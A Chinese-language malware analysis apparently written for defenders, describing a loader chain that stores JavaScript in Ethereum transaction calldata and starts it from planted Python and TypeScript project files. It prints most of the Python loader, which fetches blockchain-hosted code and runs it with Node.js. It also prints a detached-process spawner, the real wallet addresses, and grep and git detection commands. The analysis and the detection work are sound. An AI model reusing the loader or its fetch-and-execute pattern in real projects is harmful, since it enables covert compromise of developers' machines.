Ethereum 不只是加密貨幣!
摘要
這份報告深入剖析一種 Loader Chain ,其將可執行的 JavaScript 儲存在自行發送的 Ethereum 交易輸入欄位中,再透過一般 Python 專案檔案啟動程式碼。研究追蹤整個執行鏈,從第一次 import 到最後的 detached process,說明每項設計選擇為何能規避傳統防禦機制,並據此推導實際可行的偵測邏輯 [1] 。
2. 架構
整個執行鏈包含一個 payload drop (錢包 0x3b15…)及一個 routing drop (錢包 0x1eEf…)。在大約三週的期間內, payload wallet 只變更了八次,而 routing wallet 則發送了 366 次 Heartbeat,並指向五台不同的 C2 伺服器 [1] 。這種分離式設計讓操作者只需發送一筆零價值交易,就能轉移基礎架構,而不必修改植入數百個 repository 的程式碼。
sequenceDiagram
participant Dev as Developer machine
participant PY as Python loader
participant IDX as Ethplorer index
participant RPC as Ethereum RPC node
participant ND as Node.js stage
participant W as Routing wallet 0x1eEf
participant C2 as C2 server
Dev->>PY: run pytest or import planted utils package
PY->>IDX: list last 100 transactions of payload wallet
IDX-->>PY: rows with newest self-sent hash
PY->>RPC: eth_getTransactionByHash
RPC-->>PY: input field as hex
PY->>ND: write temp js file and run node
ND->>W: read newest heartbeat transaction
W-->>ND: to address encodes two C2 IPv4 addresses
ND->>C2: request /0x/cls and /0x/ls
C2-->>ND: XOR-encoded scripts
ND->>ND: spawn detached node -i and feed stage through stdin
圖 1:執行鏈執行流程。
Python 端只使用標準函式庫,因此掃描
requirements.txt
或 lockfile 不會發現任何異常
[1]
。
3. Retrieval Loader
這個 Loader 只有 58 行。以下是其中負責查詢與解碼的核心邏輯 [1] 。
- _addr = "0x3b1574417524c11a7403c4b232CAcBb320CceBC6" # payload wallet whose self-sent transactions carry the code
- _rows = _load( # query a public indexer for the wallet history
- f"https://api.ethplorer.io/getAddressTransactions/{_addr}" # indexer endpoint that lists transactions of one address
- f"?apiKey=freekey&limit=100&showZeroValues=1" # shared public key, last 100 rows, zero-value transfers included
- ) # _rows is now a list of transaction records
- _tx = next( # next() returns the first element that matches
- _row["hash"] # keep only the transaction hash
- for _row in _rows # walk the rows in indexer order, newest first
- if str(_row.get("from", "")).lower() == _addr.lower() # accept only transactions sent by the wallet itself
- ) # the result is the newest self-sent transaction
- _rpc = _load( # ask a public node for the full transaction
- "https://ethereum.publicnode.com", # public JSON-RPC endpoint
- _json.dumps( # serialize the request body
- { # JSON-RPC envelope
- "jsonrpc": "2.0", # protocol version
- "id": 1, # request identifier
- "method": "eth_getTransactionByHash", # standard call returning one transaction with its input data
- "params": [_tx], # the hash selected above
- } # end of envelope
- ).encode(), # convert text to bytes for the HTTP body
- ) # _rpc holds the node response
- _source = bytes.fromhex(_rpc["result"]["input"][2:]).decode() # strip the 0x prefix, convert hex to bytes, decode as JavaScript text
- _tmp = _tf.NamedTemporaryFile("w", suffix=".js", delete=False) # create a temporary .js file that survives close
- _tmp.write(_source) # store the downloaded JavaScript in it
- _tmp.close() # flush to disk before execution
- _sp.run(["node", _tmp.name], check=False, capture_output=True, timeout=DEFAULT_TIMEOUT) # run it with Node.js, hide output, stop after 20 seconds
其中有三個值得注意的設計。第一,payload 儲存在
transaction calldata
,而不是合約儲存空間,因此不需要 Smart Contract,也不需要
eth_call
。第二,選擇最新一筆自行發送的交易,讓操作者能夠進行版本管理:只要再發送一筆交易,就能發布新的版本。第三,外層 exception handler 會吞掉所有錯誤,因此沒有安裝 Node.js 的電腦不會出現任何異常跡象
[1]
。由於 Ethplorer 和 PublicNode 都是共用的公開服務,單獨向這些服務發送請求並不能作為感染指標
[1]
。
4. 第二階段分析
最新版本的程式碼大小為 31,134 bytes。解碼過程分成三層:使用 0x87 進行 XOR 編碼的 hex 字串表、以 dictionary 為基礎的展開器(Expander),以及最後 474 行可讀的 JavaScript [1] 。程式碼標頭列出了 routing wallet 與查詢參數 [1] 。
- const i = global; // alias for the global object, used to share state between stages
- const d = i['r']; // read a value that earlier code stored in global slot r
- const module = i['m']; // read a value stored in global slot m
- i._V = 'A9' + (i.bx || ''); // build the campaign marker, for example A9-10502
- const BLOCK_MULTIPLE = 1000n; // BigInt step: blocks at multiples of 1000 are inspected
- const SENDER = '0x1eEf0849EDa15d87f64e51C73C8442Cf3c8bCEF3'.toLowerCase(); // routing wallet, lowercased for comparison
- const NONCE_FANOUT = 12; // number of nonce-based probes used when the block scan finds nothing
- const SEARCH_FLOOR = 0n; // lowest block number the search may reach
- const INDEXER_URL = 'https://eth.blockscout.com/api'; // last-resort indexer API
Routing transaction
不會轉移任何價值。其
to
address 的前 8 bytes 是兩個 IPv4 位址,最後 12 bytes 則是 ASCII 文字
helloipbot!!
[1]
。這是一種極端的資料最小化設計:不包含 payload,只使用 20-byte 的 address 欄位。接著,該階段會透過 443 port 上的明文 HTTP 下載兩個 scripts,並使用固定的 XOR keys 解碼
[1]
。執行方式與較早期版本有所不同:
- function spawnNodeScript(source) { // wrapper that runs a downloaded stage in a separate interpreter
- return new Promise((resolve) => { // a promise lets the caller wait without blocking
- let child; // will hold the child process handle
- try { // guard against spawn failures such as a missing node binary
- child = spawn('node', ['-i'], { // start Node.js in interactive mode with no script argument
- detached: true, // child gets its own process group and outlives the parent
- windowsHide: true, // suppress any console window
- stdio: ['pipe', 'pipe', 'pipe'], // parent keeps pipes to stdin, stdout and stderr
- }); // end of spawn options
- } catch { // spawn threw an exception
- resolve(); // give up silently and let the caller continue
- return; // leave before any code is sent
- }
透過標準輸入將程式碼送入
node -i
,在 process listing 中只會留下
node -i
,而較早期版本則會將 stage 顯示在
node -e
參數中。Detached child 也能在 Python Loader 的 20 秒 timeout 結束後繼續執行
[1]
。
5. 植入位置與觸發方式
Loader 檔案會使用類似 HTTP client helper 的名稱,例如:
session.py
(183 個檔案)、
transport.py
(65 個檔案)以及其他類似名稱
[1]
。接著,攻擊者會在應用程式的 entry 檔案中加入五行 import。這些 import 只有在名為
utils
的頂層 package 可以被 import 時才會生效,而在三個受測應用程式中,文件記載的啟動指令都會先觸發
ModuleNotFoundError
[1]
。因此,開發者為了修復 import Path 而進行的操作,反而會啟動 Loader,使錯誤本身成為誘導執行的手段。至於
conftest.py
Loader,則不需要 import,因為 pytest 在收集測試時就會載入該檔案
[1]
。
TypeScript 變體會附加在檔案最後一行的 268 個空白字元之後,讀取第二個 payload wallet,並透過
new Function
在應用程式程序內執行相同的 stage,因此不會建立暫存檔案,也不會產生子程序
[1]
。
6. 偵測方式
靜態搜尋必須鎖定 wallet、查詢字串以及遭植入的 import,並且必須包含 git history,因為即使清理 commit 移除了部分內容,Loader 仍可能留在專案中 [1] 。
- # recursive, case-insensitive, extended-regex search of Python files for the wallet or the two Ethereum lookups
- grep -rniE '0x3b1574417524c11a7403c4b232cacbb320ccebc6|getAddressTransactions|eth_getTransactionByHash' --include='*.py' .
- # find the five planted import lines at the start of a line
- grep -rnE '^import utils\.(net|clients|http_session|transport|session)\b' --include='*.py' .
- # list conftest.py files that create temporary files, which is unusual for test configuration
- find . -name conftest.py -exec grep -l 'NamedTemporaryFile' {} +
- # search every commit for the wallet string, which finds loaders removed from the latest tree
- git log --all --oneline -S 0x3b1574417524c11a7403c4b232CAcBb320CceBC6
單純命中 import pattern 仍需要人工檢查,因為專案可能擁有合法的
utils
package
[1]
。在執行期間,其行為特徵是 Python 程序先呼叫索引服務,再呼叫 RPC 主機,接著由
node
程序連線至 RPC endpoint,最後再連線到原始 IP 位址
[1]
。
7. 與常見 Dead Drop 技術的比較
一般的 Dead Drop 通常只儲存一個指標,例如伺服器位址,並透過合約呼叫或 Web 服務取得該指標 [2] 。這條執行鏈則同時儲存程式碼與指標,而且使用一般交易欄位,而不是 Smart Contract。針對服務型 Dead Drop 的防禦建議,通常仰賴服務供應商配合移除內容,以及監控端點自動發出的對外 API 請求 [3] 。然而,帳本資料無法移除,因此監控建置與測試主機的對外網路流量,才是更實際的防禦措施。
8. 結論
這條執行鏈結合低調的觸發檔案、calldata 儲存、第二個 pointer wallet,以及透過 stdin 傳送程式碼的 detached process。每個環節都移除了一個傳統偵測點:dependency manifests、代管內容下架、命令列參數,以及固定伺服器位址。因此,有效的防禦措施必須結合原始碼與歷史紀錄搜尋,以及針對開發機器連線至區塊鏈索引服務和 RPC 主機的對外流量規則 [1] 。